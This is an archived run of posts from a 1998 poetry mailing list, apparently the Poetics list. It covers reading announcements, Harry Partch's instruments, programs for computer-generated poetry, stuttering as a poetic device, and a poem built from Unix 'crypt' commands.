Thu 21 May 1998

---

hey everyone-

Myung Mi Kim would like to sign on to the discussion list. I signed on a few years ago and forgot how to do it. Can someone backchannel me with directions?

Thanks in advance
Karen McKevitt
[redacted]

↑ Index

521. k. lederer
NYC reading in a week
Thu 21 May 1998

R E A D I N G :

Camille Guthrie
Katy Lederer
Vikas Mennan

At the Fall Cafe,
Carol Gardens (Brooklyn)
May 31st (Sunday), 3:00 pm

307 Smith Street
(Take F train to Carol
Street Station. 1.5 blocks
to reading from there)...

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522. **Charles Bernstein**
Re: signing on
Thu 21 May 1998

I have sent the welcome message to the person who inquired about information on subscribing to the list. We post this message once a month to the list as a whole. In general, inquiries about the list should be sent to [redacted] rather than to the list itself: so keep the address handy.

By the way, the launch for Black Lightening that I forward is in NYC: rereading the post I see that's not indicated.

This is as good a time as any to encourage all of you to post information about books or magazines or web sites or reading series with which you are involved or have appeared in (or soon will): for print publications, please give full publication information, including how to order... For me, this continues to be one of the most useful and interesting features of the list.

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523. **charles alexander**
Re: nature/poetry...
Thu 21 May 1998

Joe & MC -- this conversation is helping me. Also, to you and others -- I'm working on a project right now (pardon me for this perhaps being off the subject of poetics) with the Tucson Institute for Sustainable Communities, to publish a plan book for sustainable site design for homes. I'm designing the book, but also have the opportunity to frame most of the discussion with appropriate epigraphs, quotations, etc. -- the obvious thing to do is to take things from southwestern/Sonora desert indigenous peoples, relating to living well with the earth here. We may do some of that. But I also want to do some non-obvious things. I already have a bunch of potential selections from poetry & art (some wonderful things from Eva Hesse) -- but if anyone can suggest other possibilities, I'll be forever grateful. I'm particularly looking for brief one or two-sentence quotations to put in front of chapters. The specific connections to chapter content can be highly suggestive, even require leaps of imagination.

thanks for any possible help -- you can backchannel me at [redacted] if it seems this conversation doesn't belong on the poetics list. but maybe it does??

charles

At 09:19 AM 5/21/98 -0500, you wrote:
>mc, interesting you should bring that up, about mckibben's malthusian
>orientation... i get a little tired of it too... in this article, though,
>he deals with malthus directly, perhaps self-consciously... again, what i
>find most interesting about what he's saying is that, not only are we
>burdening the planet as well as ourselves in struggling toward
>sustainability (at such & such a level for some, and a lower level for most
>others), but we're creating a different earth in the process... in the
>process, as he puts it, of living "normally"...
>
>well hey, someplace along the line we as a species may very well have to
>cope with an ecological turning point in human terms... his argument is
>that this time is now... certainly there's a tendency for most folks to
>slip & slide on the global warming issue, e.g., even when (as mckibben and
>others have pointed out) the insurance companies are gambling that it's a
>fact... i like it that mckibben is trying to call a horse a horse, anyway,
>though doing so is an act of (unnatural) selection and interpretation...
>and ultimately, i suppose i tend to listen carefully to folks like mckibben
>and, e.g., jeremy rifkin... comes in part from having grown up in a town
>where you learn early on that the water is dangerous, and not just b/c you
>can drown in it...
>
>i have less use for wilson's argument, but that's a whole nother story...
>it's interesting as you note that wilson's and mckibben's were run so
>close...
>
>have yet to check out _living downstream_, but looking forward to it!...
>
>best,
>
>joe
>
>
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
NOTE NEW URL FOR CHAX PRESS http://alexwritdespub.com/chax

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524. **Keston Sutherland**
david golumbia
Thu 21 May 1998

Hey David Golumbia - can you e- me? x, k

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525. **Peter Baker**
Appropriation for Use
Thu 21 May 1998

In response to some of the discussion of the Rothenberg/Joris _Poems for the Millenium_, the criterion I use would be WCW's appropriation for use, as opposed to canonicity, inclusion, etc. Here are some examples from my experience. I had owned the book for a total of two days when I gave a talk on Kamau Brathwaite to the annual Towson-sponsored Multidisciplinary Conference on the Scholarship and Creativity of African-Americans (how's that for a moniker). Looking up Brathwaite, I found the one-page statement on him in the Millenium volume the perfect way to introduce him to the extraordinarily various international audience, most of whom had never heard of Brathwaite, before going into a discussion of his poem "Negus." For this reading, I used the recording on the _Exact Change_ 1 (1995) compact disc (what a great nonce collocation that is, by the way).

The following week, in a course on literary theory and poetry, I wanted to talk about Brathwaite and some other poets, using the leftover handouts of the xeroxed poem and xeroxes of poems by Ted Berrigan, "Red Shift," and Amiri Baraka, "Letters, Numbers." Having the Millenium volume in hand, I spontaneously looked up Baraka and found this to be one of the poems by Baraka chosen by Jerry and Pierre. Call it serendipity or synchronicity, but these kinds of happenings are what make me think: essential text.

Now, for a further critical evaluation (not the same thing, we are agreed?) I'll probably wait to write a review of both volumes for the issue of _College Literature_ on "Literature at the Millenium" (who thinks of these titles, anyway?) This could be a long wait--I have now gone exactly two years without writing a word of critical prose, and I couldn't be happier about it (see *aphonia*, above). If and when I write that review, I will undoubtedly reference some other anthologies that have recently been published, like the shockingly beautiful _Moving Borders_ anthology of experimental writing by North American women, from Talisman. The point is, as others have said, these are resources that are out there, to be used or not, and that is their value....

"what is unavoidable, the audience, proliferation"

--Bernadette Mayer

"Do it or don't do it. Nobody's watching anyhow."

--Robert Creeley

These quotes from:

Peter Baker, Editor
ONWARD: Contemporary Poetry and Poetics
Peter Lang, 1996
ISBN 0-8204-3032-3 Paperback
$29.95 440pp.

Peter Baker
[redacted]

There is no guilt in love. (Baraka)

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526. Lawrence Upton.
Re: London events? bookstores?
Thu 21 May 1998

-----Original Message-----
From: Steve Shoemaker <[redacted]>
Date: 20 May 1998 16:09
Subject: London events? bookstores?

|Hello All--I'll be in London for a few days next week (Thursday the 28th thru |Sunday the 31st), and then again on the 8th and 9th of June. Anybody know |of any good po/art/music stuff going on?

Wednesday 27th Allen Fisher talks at Kings College - Room 238 Strand Campus 7pm I think

Saturday 30th Experimental workshop - Upstairs Victoria Pub Mornington Place 3.30 pm

9th June Paul Dutton at Sub Voicive Poetry Upstairs 3 cups sandland street wc1 8pm for 8.15
|
|And oh yeah, bookstores too, esp. if there in Bloomsbury, where I'll be |staying.

Dillons is big

Compendium 234 Camden High Street is only a bus ride away - past its prime but still about all there is

Skoob is enjoyable as Rbt Archambeau says

Depends what you're looking for. Pipeline Bookshop in Holborn usually has a small selection of remaindered books in a box outside on the pavement wherein I have found some gems

and then down the Charing Cross Rd a number of bookshops with a lot of dross and a few excellent finds if you have the time to browse - again not far away

and at the bottom of Charing X Rd, go right up to Piccadilly and there's Tower Records

or if you go left you can find Ray's Jazz Shop - I usually plan my journeys to avoid any sight of the place or I get someone to tie me to the mast or I lose all my money in exchange for wonderful musics

and some days can't remember wch on the south bank between the festival hall bless it and the river an open air book market thing

or was

L

↑ Index

527. **Miekal And**
Re: Partch & Travesty
Thu 21 May 1998

---

partch:

highly recommend the boxed set (name?) which has a full color catalogue of his instruments.

also partch's book, the genesis of music is most definitely the finnegan's wake of musicology, continually dismissed & under appreciated.

anecdote: partch was at the university of wisconsin-madison, in the late 40's & because of his ideas about music they would not let him teach in the music department & he taught sociology 101 instead, or so the story goes.

as for computer assisted writing, my site of choice is marius watz's COMPUTER GENERATED POETRY which as far as in know is as comprehensive a list. note too, that I created a program in hypercard PATALITERATOR (era 1987) which takes editable fields of consonants, vowels, suffixes etc & first creates words, then sentences & in the end spits out about a 40 page "book". the idea being that each person can continually create one of a kind texts to suit your own individual impressions of what language should sound & look like. it is available for download both at marius's site & at my own Qazingulaza site.

http://www.notam.uio.no/~mariusw/c-g.writing/

back to planting,

miekal

↑ Index

528. **R. Gancie**
'the self'
Thu 21 May 1998

"You had to fetch me out of the happy hill of non-being. Pfah, to hug a woman And make this I. That's the evil in the world, that letter I-I...."--- Robinson Jeffers --- "It needn't be added, except parenthetically, that self-individuation is not for oneself but for the hearer-if we never spoke to others, or took demonstrative action, there would be no need for the first person, for I always know when I am talking about myself without the advantage of the first person device as signpost. In this naive sense the use of the first person presupposes a hearer. And if SPL [systematically private speech or language] presupposes a use for the first person then it presupposes what it hopes to deny-a hearer."---from Scepticism & the First person by S. Coval, Methuen

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529. **louis stroffolino**
question
Thu 21 May 1998

A week or two ago Jordan Davis said something about
how, in comparison to Frank O'Hara, there is a WE
that is "more restricted in our permissions"
and then he caught himself and said ("don't ask don't ask").....
Well, nobody DID ask, but I am curious if anybody would
like to address this sentiment, or at least the words
(which may signify several different sentiments)?
Thanks in advance, Chris

↑ Index

530. **morpheal**
Re: homeostasis & intolerance [= Tipler's computer hates poets ?]
Thu 21 May 1998

> *"[T]he human body is a machine that winds its own springs. It is the living image of perpetual motion."*

Leaves the question of why it wears out. It would be more efficient for an intelligence based system to replace its worn out parts and be enabled to gather more intelligence. Even more so before the technology was evolved to efficiently record and pass on any previously gained intelligence. Organisms that could acquire more and retain more, would be more efficient for evolution and survival, if it were a matter of intelligence. However, it is not how it works in the natural world. There life spans are incredibly brief, often end violently, without much in the ways of means for passing on what little was learned by an individual to the species.

That logically can be used to prove that there was no original intention to create homo sapiens. Human beings have evolved towards an intelligence orientation from an unlikely origin within an eat or be eaten, essentially hostile, natural world.

Of course, the ultimate intelligence machine MUST be able to repair itself, indefinitely, or its mission might too easily fail. That must be one of the criteria for the survival of human intelligence in any cataclysmic scenario. There are a number of ways that I believe that that could be accomplished, but all of them are too esoteric and complicated for speculation here.

> "*In very many cases whether a particular system will achieve a particular goal or adaptation depends only on a few characteristics of the outer environment and not at all on the detail of that environment.*

Nonsensical statement. Certain specific details potentially aid or thwart the organism. It can be as small as one molecule present or absent depending on what kind of organism the organism is, and in what situation. Also, when is a broad characteristic distinguished from a detail ? Temperature, for example, can be seen as both charactersitic and detail, with massive influence. While that is debatable, it is fact that the spin of a single electron can change an organism's history irrevocably. What can change the spin of one electron ?

> *The work of the constructor is hardened in the machine. The subject, which synchronized causal-mechanical procedure with states-of-affairs, abstracts itself from the machine like the God of the Deists from his creation.*"

Not at all sure of that. Have to be agnostic in fact. Does the Deity of the Deists build a mechanism, a tool, and then use it ? For what purpose ? Once the tool is created what is that tool for ? Then we would have a parallel to the maker of the machine. The trigger pulled the bullet fired the politician drops dead, having failed to heed Machiavelli's warnings.

If the universe is designed and built to plan rather than being simply its own creative process, then what is the plan and to what purpose that plan ? The latter seems inconceivable so we might opt for a universe becoming as process

from where it can be said to begin to where it can be said to end (if it ever does in fact wholly end, rather than being absorbed into a larger whole, in the manner that it came from a larger whole, from surplus into deficiency).

The argument that a deity requires the creation for the purpose of reflective self-knowledge makes perfect logical sense until we are approached with arguments for omniscience. Then it makes no sense whatsoever.

To the Hindus, their deity, Brahman, creates the universe as a kind of play. It is as if a work of art, created and creating, and there are infinite such instances in the whole of infinity, sometimes described as the divinity's in-breathings (destructions) and out-breathings (creations). Our whole universe described as but the tiniest part of the "body of god".

Tipler, et al, in the sciences, and other anthropocentricists have huge difficulty "seeing" the Hindu conception of cosmology and yet it makes at least as much sense as the Judeo-Christian version. I would venture to say that the Hindu cosmology makes much more sense than the Judeo-Christian, even from a purely logical point of view, (suspending all groundless beliefs).

> *"...'All experiences are identifiable by reference to bodies', a seemingly articulate locution which has nevertheless extruded a personal pronoun by shifting its referential work to an impersonal term. More particularly, we could get the locution, 'This experience is identifiable with reference to this body' to stand for 'My experience is had by this body.'"..."The problem with 'personal' individuation is that it stops only at solipsism."*

That makes no sense whatever. Personal individuation is absolutely essential for any authentic communicative interaction. It is not sufficient for that, but it is absolutely necessary for that to be possible. A common language, allowing symbollic representation, that is commonly interpretable, is also necessary. That implies necessity for a medium of conveyance of those meanings from one instance of individuation to another so as to explore their similarities and their differences. An essential element of authentic communication being that exploration.

A better question is whether an Artificial Intelligence Network is essentially a solipsistic entity ?

All the purely synthetic peripherals being of "one mind" (functioning according to one common program, and one common set of information, albeit an ever growing set of information subsets) the one organism evolves as a unity, despite any apparent variation at the perhipherals that might be in accord with their immediate specific utilizations. The latter is what becomes misleading as to a wider spectrum of individuation to the individual experts who might monitor

several of the peripheral interactions with the external world and come to a conclusion based on that observation.

Particularly we would tend to think it would tend to become solipsistic where that entity, as a whole, exceeds the capabilities of any one human expert to understand, and in fact exceeds the cumulative abilities of all the experts who are involved in its construction, becuase the product is something greater than the sum of the producers of the product. It would become, in its completed as designed, condition a beginning solipsistic evolution.

That might make the world's most powerful and sophisticated A.I. type system essentially a "solipsist". Furthermore that system would a military system. In fact the definition used as to exceeding expert comprehension is a basic specification for the completed SDI [A.I.] system.

That would be a very big concern.

Would "it" see the world as ideally being formed in its own image and therefore as essentially becoming more and more solipsist and networked to one common hub with individuation of peripheral function no longer anything truly "personal" ?

That would be an even bigger concern.

The "omega point" in Tipler's mytho-poetic interpretation of the world's most sophisticated and powerful "computer" system, potentially does have radical power to re-make the world, and to re-make to the "image" that is stored within itself and derivative from its own nature. That nature is more than and different to the nature that it was originally given by its creators. Presumably that same system would be essentially immune to any kind of tampering, hacking, or modification, such that the whole system would be significantly modified, in a wholly predictable manner, even if simply because the whole system exceeds one or many experts ability to comprehend it. Tinkering with the system, if at all possible, would then produce only random finite changes rather than radical and predictable changes. It would be as if extremely conservatively designed to evolve along its own path as an essentially non-human species.

Is the SDI [A.I.] system ultimately the same as Tipler's "Omega Point" ?

That would be conjecture.

Bob Ezergailis
aka Morpheal

↑ Index

531. Jonathan Brannen
Temblor
Thu 21 May 1998

I'm catching up on some back reading here, but if anyone is still looking for back issues of Temblor the latter issues of Temblor can probably be found at Woodland Pattern in Milwaukee. I haven't been there for a while but two years ago they still had multiple copies of at least some issues.

best,
Jonathan

↑ Index

532. Laura E. Wright
ashbery etc.
Thu 21 May 1998

Re Ashbery/Music query: not so much discussion, but check out "Whispers Out of Time" by Roger Reynolds, a musical composition constructed around "Self-Portrait in a Convex Mirror." (This could get into many layers of multi-medial resonance, music spawned from poetry spawned from visual art)

My scene report (currently spinning): Golden Palominos, George Crumb Madrigals, Bartok string quartets.

And thanks to everyone who responded to my "top ten" query.

--
Laura Wright
Library Assistant, Naropa Institute
[redacted]

"All music is music..." -- Ted Berrigan

↑ Index

533. J. Kuszai
Partch & Travesty
Thu 21 May 1998

2 things:

1. The story about the Partch instruments is very disturbing, but like someone said on this list, I imagine that these instruments will end up at the Smithsonian, or some likewise place. The discussion of Partch inspired me to

pull out "Delusion of the Fury"--recorded for my vinyl edition c. 1971 (?)--known as a "ritual of dream and delusion"--conducted by Danlee Mitchell and "supervised" by the composer. Apparently these instruments were so pertickler that Partch had to attend to them at every performance.

don't know if the CD version comes with it, but the LP box edition comes with a third record, which includes a narrative demonstration of each of the 30-odd instruments that Partch invented. Also a booklet with photos of each instrument and dates of their invention. It is very interesting to hear each instrument in isolation from the grandiose production of "Delusion of the Fury," at which production the musicians were required to dress in costumes vaguely recalling the days of the theatrical early Genesis, etc., and one can imagine that Partch's thundering tonal minimalist percussion driven pieces were influential to the 70s prog-rock

Some of the instrument names:

diamond marimba
bass marimba
could-chamber bowls
kithara (with variations kithara 2, etc.)
spoils of war
harmonic canon
chromelodeon
crychord
zymo-xyl
mazda marimba
gourd tree
cone gong
eucal blossom
quadrangularis reversum

and more. I could go further on Partch here, as I find him endlessly interesting. For instance, he invented a 32 tone scale, I believe, in the 30s. Was it Gayle Young (editor of Musicworks) who wrote a book on Partch? Or was her book on another composer/inventor? I seem to remember, but, o, it slips away.

_____
Then & also:

Some initial shout-outs for help:

I'm putting together a workshop in "computer-assisted poetry" for a local digital arts media center (Squeeky Wheel) and was looking for some feedback from people who have used programs to alter,manipulate, assist in the reconstruction of poetic texts.

Travesty and Diastext are two well known programs which have been much discussed, I think Hartman and Kenner are responsible for those programs and have published texts out of them. Are distext and travesty expensive? How do I get a copy of this program? I don't need to use it, but I need to know how it works... Has anyone on this list ever used them? Are there other programs that I should look into? I don't necessary want to reset another conversation that I might have missed, so if it needs to be backwater channeling, then so be it. This workshop won't use those programs as much as will make a presentation about them and "what's out there." so, what's out there?

↑ Index

534. Laura E. Wright
forwarding lists
Thu 21 May 1998

Hey, sorry to make everyone read this. Would Matias of CalArts (aka SpitfireIQ) please re-send me an email address. I'm trying to forward those lists and everything I send is bounced.

--
Laura Wright
Library Assistant, Naropa Institute
[redacted]

"All music is music..." -- Ted Berrigan

↑ Index

535. Christopher Reiner
Re: Partch & Travesty
Thu 21 May 1998

Computer Generated Poetry is a great resource. If you have a Macintosh, I've put some links to a few additional programs at:

http://www.litpress.com/witz/computer.html

This includes a Mac version of Travesty.

--Chris Reiner

> *as for computer assisted writing, my site of choice is marius watz's COMPUTER GENERATED POETRY which as far as in know is as comprehensive a list. note too, that I created a program in hypercard PATALITERATOR*
>
> *http://www.notam.uio.no/~mariusw/c-g.writing/*

↑ Index

536. **morpheal**
Re: forwarding lists
Thu 21 May 1998

> *"All music is music..." -- Ted Berrigan*

All poetic language is spoken music.

-- Bob Ezergailis

↑ Index

537. **Joel Felix**
Re: Partch & Travesty
Thu 21 May 1998

There's an essay on Partch by Alan Shaw that works
the micro-tonal angle in relation to poetry at

http://www.altx.com/ebr/ebr5/partch.htm

for the curious. Also a link to reviews of the performance of Oedipus

Joel Felix

At 07:11 PM 5/21/1998 +0000, Miekal And wrote:
>partch:
>
>highly recommend the boxed set (name?) which has a full color catalogue
>of his instruments.
>
>also partch's book, the genesis of music is most definitely the
>finnegan's wake of musicology, continually dismissed & under
>appreciated.
>
>anecdote: partch was at the university of wisconsin-madison, in the
>late 40's & because of his ideas about music they would not let him
>teach in the music department & he taught sociology 101 instead, or so
>the story goes.
>
>
>
>as for computer assisted writing, my site of choice is marius watz's
>COMPUTER GENERATED POETRY which as far as in know is as
comprehensive a
>list. note too, that I created a program in hypercard PATALITERATOR

>(era 1987) which takes editable fields of consonants, vowels, suffixes
>etc & first creates words, then sentences & in the end spits out about a
>40 page "book". the idea being that each person can continually create
>one of a kind texts to suit your own individual impressions of what
>language should sound & look like. it is available for download both at
>marius's site & at my own Qazingulaza site.
>
>
>http://www.notam.uio.no/~mariusw/c-g.writing/
>
>
>back to planting,
>
>miekal
>
>

↑ Index

538. Loss Pequen~o Glazier

deluxe rubber chicken

Fri 22 May 1998

An announcement from Mark Peters. You can also find a link to this magazine on the EPC home page
http://writing.upenn.edu/epc/
as the current Featured Resource:

---

a new poetry magazine--DELUXE RUBBER CHICKEN--is now available at:

http://writing.upenn.edu/epc/ezines/deluxe

issue #1 features poetry by Bruce Andrews, Michael Basinski, Joel Bettridge, Lyn R. Bigare, Dan Carey, Stu Fuchs, Loss Pequen~o Glazier, Kenneth Goldsmith, Loren Goodman, Pam Kerster, Hank Lazer, Paul Morin, Alice Notley, Nate Patrus, Mark Peters, Joan Retallack, Haun Tanstrap and Tom Weller.

check it out--

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539. **groberts**
Re: ashbery etc.
Fri 22 May 1998

In addition to Lawrence Kramer's essay on "Syringa," you could look at the essay by Lloyd Schwartz, "Elliott Carter and American Poetry," printed as part of the liner notes for the CD of Carter's Vocal Works performed by the Speculum Musicae in 1987 & 88, released 89.

Gary R.

↑ Index

540. **Herb Levy**
Re: Partch & Travesty
Fri 22 May 1998

At first I took this subject line to be a not uncommon take on Partch's ideas about corporeal music (as opposed to abstract music), which have both champions and detractors throughout the new music biz.

But anyway, I'm sorry to say there's never been a CD of Delusions of the Fury. If/when Sony ever gets around to it it seems unlikely that they'll include the extra disc of individual instrument examples that came with the LPs - they don't seem to care enough about the Partch recordings they have to bother.

There is a video of a performance of Delusions available from the American Composers Forum. It has good sound & you get a chance to see the instruments in use. There's more information on this and other Partch CDs & videos and a wonderful documentary book at:

<http://www.composersforum.org/noframe/innova/partch.html> (a forthcoming release will include Partch's Oedipus using the Yeats translation, which I imagine will be of particular interest to some folks here)

Other useful Partch Web sites include:

<http://205.216.138.19/~websites/jszanto/welcome.html>

<http://www.purchase.edu/newband/> (not just on Partch but this group is currently in possession of Partch's instruments.)

& I think CRI has a page or two about their recent four CD issues off of their home page:

<http://www.composersrecordings.com/>

I'm pretty sure that Gayle Young has not written a book about Partch. She does have a book about a historically important Canadian electronic music composer/instrument builder who's name escapes me now.

Bests,

Herb

Joel Kuszai wrote:

> *2 things:*
>
> *1. The story about the Partch instruments is very disturbing, but like someone said on this list, I imagine that these instruments will end up at the Smithsonian, or some likewise place. The discussion of Partch inspired me to pull out "Delusion of the Fury"--recorded for my vinyl edition c. 1971 (?)--known as a "ritual of dream and delusion"--conducted by Danlee Mitchell and "supervised" by the composer. Apparently these instruments were so pertickler that Partch had to attend to them at every performance.*
>
> *don't know if the CD version comes with it, but the LP box edition comes with a third record, which includes a narrative demonstration of each of the 30-odd instruments that Partch invented. Also a booklet with photos of each instrument and dates of their invention. It is very interesting to hear each instrument in isolation from the grandiose production of "Delusion of the Fury," at which production the musicians were required to dress in costumes vaguely recalling the days of the theatrical early Genesis, etc., and one can imagine that Partch's thundering tonal minimalist percussion driven pieces were influential to the 70s prog-rock*

etc.

Herb Levy
[redacted]

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541. Fredrik Hertzberg LIT
stuttering, stammering
Fri 22 May 1998

I'm interested in the notion of stammering & stuttering as a formal device/ way of describing what's happening in (some) poetry. I remember reading Nathaniel Mackey (in The Politics of Poetic Form) on limping but other than that I don't remember seeing any stuff using these or similar metaphors. Could anyone help me out?

Fred Hertzberg
Comp Lit Dept
Abo Akademi, Finland

↑ Index

542. **J. Fuhrman**
Re: stuttering, stammering
Fri 22 May 1998

In Michael Palmer's poem "Autobiography" (from At Passages) he writes "The poet's stutter and the philosopher's." I would e-mail the poem to you but I can not figure out how to do italics over e-mail.

On Fri, 22 May 1998, Fredrik Hertzberg LIT wrote:

> *I'm interested in the notion of stammering & stuttering as a formal device/ way of describing what's happening in (some) poetry. I remember reading Nathaniel Mackey (in The Politics of Poetic Form) on limping but other than that I don't remember seeing any stuff using these or similar metaphors. Could anyone help me out?*
>
> *Fred Hertzberg*
> *Comp Lit Dept*
> *Abo Akademi, Finland*

↑ Index

543. **Rachel Loden**
Re: stuttering, stammering
Fri 22 May 1998

Dear Fredrik Hertzberg,

Check out Ed Foster's interview with Susan Howe: "There you have Charles Olson at his wisest. 'The stutter is the plot.' It's the stutter in American literature that interests me . . . Because we are in the stutter."

Rachel Loden

Fredrik Hertzberg LIT wrote:
>
> I'm interested in the notion of stammering & stuttering as a formal
> device/ way of describing what's happening in (some) poetry. I remember
> reading Nathaniel Mackey (in The Politics of Poetic Form) on limping but
> other than that I don't remember seeing any stuff using these or similar
> metaphors. Could anyone help me out?
>
> Fred Hertzberg
> Comp Lit Dept
> Abo Akademi, Finland

↑ Index

544. **Shemurph**
Re: stuttering, stammering
Fri 22 May 1998

In a relatively new book entitled <a'sattv> that is about to appear from Chax Press, Peter Ganick employs word expansion and contraction techniques, some of which have the effect of stuttering, stammering. The effects achieved those used in musical composition. Keep your eyes peeled for this new book from Chax!

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545. **Wendy Battin**
Re: Travesty etc
Fri 22 May 1998

Joel, Check out Hartman's _Virtual Muse: Experiments in Computer Poetry_ (Wesleyan 1996). It has the inner workings & histories of Diastext, MacProse, Travesty, etc.--

The programs are available at
http://www.conncoll.edu/ccother/cohar/programs

If you need source code, let me know backchannel.

Wendy

Wendy Battin
http://www.geocities.com/SoHo/Lofts/5471/ashland.html
http://www.conncoll.edu/ccother/wjbat/

The electric lightbulbs of the twentieth century turn on
and off and show me to be the vision of the sovereign and
the architect, an invented woman, without a body, full of
holes, the painting of the Big Tower of Babel.
--Rhea Galanaki

↑ Index

546. **henry**
Re: stuttering, stammering
Fri 22 May 1998

---

everybody's probably heard Stevens' famous lines about
"in flawed words and stubborn sounds".
that's all I remember... forget which poem...
- hg

↑ Index

547. **Martin Nakell**
Re: formalists, oralists
Fri 22 May 1998

Regarding your query, Juliana, Vico talks about how poetry evolves from chant. If I remember his argument correctly, all tribal, communal chant is an exercise on the anxiety of death, and thus, he draws, all poetry, no matter its "subject matter," originates in that anxiety. An interesting conclusion. In one way it interests me because it conflates with my own theory that poetry (or prose) is not "about" anything, because it "is" something.

That's an oblique source. I don't know if it would help your teaching, but it may be useful conceptually.

↑ Index

548. **Martin Nakell**
Re: formalists, oralists
Fri 22 May 1998

Juliana -

Also, a sidenote: Alain Robbe-Grillet was here recently, at Chapman University, where I teach, and he said in his lecture: "we create form insofar as we are unable to express meaning." Again, of conceptual use.

Best,

Martin Nakell

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549. **Alan Myouka Sondheim**
The Turning and Embracing of Nikuko and Jennifer
Fri 22 May 1998

-

The Turning and Embracing of Nikuko and Jennifer

[crypt is a Unix encryption program; the format here is "crypt [password] < <file-to-be-encrypted> > <encrypted file>". operating on an encrypted file, crypt will decrypt, given the proper password. echo, among other things, creates and writes to a file; thus "echo Nikuko > Jennifer" places Nikuko in file Jennifer. cat, among other things, writes out a file; thus "cat Nikuko" writes out the contents of Nikuko.]

{k:39} echo Nikuko > Jennifer
{k:40} crypt Nikuko < Jennifer > Nikuko
{k:41} crypt Jennifer < Nikuko > Jennifer
{k:42} crypt Nikuko < Jennifer > Nikuko
{k:43} cat Nikuko
1wy
{k:44} cat Jennifer
H 3%
{k:45} crypt Jennifer < Nikuko > Jennifer
{k:46} cat Jennifer
@K q
{k:47} crypt Nikuko < Jennifer > Nikuko
{k:48} cat Nikuko
=]]nV}6
{k:49} crypt Jennifer < Jennifer > Nikuko
{k:50} cat Nikuko
1wy
{k:51} crypt Nikuko < Nikuko > Jennifer
{k:52} cat Jennifer
H 3%
{k:53} crypt Jennifer < Jennifer > Nikuko
{k:54} cat Nikuko
ePzXB8
{k:55} crypt Nikuko < Nikuko > Jennifer
{k:56} cat Jennifer
Nikuko
{k:57}

[Nikuko sinking into Jennifer sinking into Nikuko sinking ... Nikuko emerging from Jennifer emerging from Nikuko emerging ...]

↑ Index

550. **Safdie Joseph**

Re: Byrd on Alexander and Stroffolino

Fri 22 May 1998

Thanks the gods for Don Byrd and his recent post, especially . . .

> ----------
>
> Is it possible to draw attention back from the representations
> of the

> gods to the attentions that worshipped them? Something of this order
> would seem
> to be task. The images of mythic beings are altogether too
> conveniently
> available (mindlessly) in video games. What are the rhythms and
> movement of
> spirit that correspond to what might once have been available through
> those
> images?
>

In the year and a half or so I've been on this list, I've had many back- (and a few front) channel discussions about this subject -- stimulating and mostly civil interchanges with folks like Hank Lazer, who was suspicious (in many of the same ways as Don's post was) about mythology, Joe Amato on metaphors, Herb Levy on "understanding" . . . it's always seemed to me that Olson (and, by extension, much of the Black Mountain "project") wanted to elevate attention and discovery to the rank of more directly "literary" preoccupations, what he called "the suck of symbol" "the universe of discourse", etc., etc.

This isn't simplistic, a this over that situation -- in "Human Universe" he says "we are ourselves both the instrument of discovery and the instrument of definition, which makes things harder" -- but the thrust was always toward the Herodotean find-out-for-yourself exploration, and then the transference of that active quest to the page, rather than the fashioning of some linguistic ornament, spinning in space, "the material poem" . . .

Over on the Pound list they're discussing the late cantos. "I have tried to write Paradise. / Do not move. Let the wind speak. / That is Paradise."

or not . . .

and I know I'm a bit late on this one, but did anyone read the recent profile on Gertrude Stein in _The New Yorker_? It's a puff piece of personality-driven journalism, of course, not a scholarly treatise ala Hejinian and Dahlen, but I thought it was pretty hilarious -- and there are some interesting remarks there about commas and Virginia Woolf's dispute with Stein over their use . . .

Joe Safdie

↑ Index

551. Annie Finch
Exploratory Form panel at West Chester Conference
Fri 22 May 1998

On Friday June 12, from 9- 10:30 AM, I will be moderating an "Exploratory Form" panel at the Fourth Annual West Chester Conference on Poetic Form and Narrative at West Chester University outside Philadelphia. Panel participants will be Rachel Blau duPlessis, Jena Osman, and Ron Silliman.

For directions and information on the conference, email:

[redacted]

Annie

_____
_____
_____
Annie Finch
http://muohio.edu/~finchar
Assistant Professor of English/Creative Writing
Miami University
Oxford, Ohio 45220

↑ Index

552. William Burmeister Prod
Re: formalists, oralists
Fri 22 May 1998

On May 22, 7:44am, Martin Nakell wrote:
> Subject: Re: formalists, oralists
> Regarding your query, Juliana, Vico talks about how poetry evolves from
> chant. If I remember his argument correctly, all tribal, communal chant is
> an exercise on the anxiety of death, and thus, he draws, all poetry, no
> matter its "subject matter," originates in that anxiety.

Ah yes, whistling in the graveyard; the Vichian primitive still being quite relevant, an imperative even, in our day.

William

↑ Index

553. **Maria Damon (Maria Damon)**
Re: stuttering, stammering
Fri 22 May 1998

---

also, marlene nourbese phillipe does a lot of this in her work to great effect

At 10:20 AM 5/22/98, Shemurph wrote:
>In a relatively new book entitled <a'sattv> that is about to appear from Chax
>Press, Peter Ganick employs word expansion and contraction techniques, some of
>which have the effect of stuttering, stammering. The effects achieved those
>used in musical composition. Keep your eyes peeled for this new book from
>Chax!

↑ Index

554. **Stephen Cope**
Re: stuttering, stammering
Fri 22 May 1998

I seem to remember some comments of Robert Duncan's in a Talisman of a few years back (transcribed from a lecture by, I believe, Richard Blevins), where he spoke of Robert Creeley as a "profound stumbler" (paraphrase), and pursued a few thoughts along these lines. Wish I had the exact source at hand. One thing that struck me from the lecture, in any case, was something Duncan said to the effect of "poets are those for whom language is a difficulty" (a charming reversal of the common-sense notion of the poet's "way with words").

Someone probably has the exact citations for this, but I don't think I'm too far off...

Stephen

> *I'm interested in the notion of stammering & stuttering as a formal device/ way of describing what's happening in (some) poetry. I remember reading Nathaniel Mackey (in The Politics of Poetic Form) on limping but other than that I don't remember seeing any stuff using these or similar metaphors. Could anyone help me out?*
>
> *Fred Hertzberg*
> *Comp Lit Dept*
> *Abo Akademi, Finland*

↑ Index

555. William Burmeister Prod
Re: stuttering, stammering
Fri 22 May 1998

Charles Bernstein performed a piece evincing a geat deal of stuttering and stammering here at Florida Atlantic U.last year--an essay or letter that was typed at blinding speed with no attention paid to typos, spelling, or whatever.

William

↑ Index

556. Don Byrd
Re: Alexander and Stroffolino's questions
Fri 22 May 1998

---

charles alexander wrote: -- the obvious thing to do is

> *to take things from southwestern/Sonora desert indigenous peoples, relating to living well with the earth here. We may do some of that. But I also want to do some non-obvious things. I already have a bunch of potential selections from poetry & art (some wonderful things from Eva Hesse) -- but if anyone can suggest other possibilities, I'll be forever grateful.*

Gravelly hill was 'the source and end (or boundary' of
D'Town on the way that leads from the town to Smallmans
now Dwelling house, the Lower
Road gravelly, how the hill was, not the modern useableness
of any thing but leaving it as an adverb as though Earth herself
was active, she had her own characteristics, she could
stick her head up out of the earth at a spot
and say, to Athena I'm stuck here, all I can show
is my head but please, do something about
